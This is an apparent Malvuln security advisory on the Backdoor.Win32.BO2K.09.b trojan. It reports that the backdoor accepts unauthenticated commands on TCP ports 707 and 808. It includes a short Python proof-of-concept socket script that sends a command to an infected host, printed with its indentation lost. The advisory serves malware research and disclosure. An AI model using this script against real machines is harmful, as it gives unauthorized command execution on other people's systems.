Backdoor.Win32.BO2K.09.b Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/90894ac48059687ea80e565f7529e53f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BO2K.09.b  
Vulnerability: Unauthenticated Remote Command Execution  
Description: Backdoor BO2K.09.b listens on TCP ports 707 and 808. Third party adversarys who can reach the system, can execute any command on the infected host using sockets or get a remote shell using telnet, curl etc.  
Type: PE32  
MD5: 90894ac48059687ea80e565f7529e53f  
Vuln ID: MVID-2021-0120  
Dropped files:   
Disclosure: 03/02/2021  
  
Exploit/PoC:  
from socket import *  
import time  
  
MALWARE_HOST="x.x.x.x"  
PORT=707  
CMD="calc\n"  
  
def doit():  
try:  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST,PORT))  
except Exception as e:  
print(str(e))  
  
res=""  
  
while True:  
res = s.recv(128)  
print(res)  
if "\n" in res or "\0" in res:  
break  
  
CMD.encode()  
s.send(CMD)  
time.sleep(2)  
s.close()  
  
print("Backdoor.Win32.BO2K.09.b / Unauthenticated Remote Command Execution");  
print("MD5: 90894ac48059687ea80e565f7529e53f");  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
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`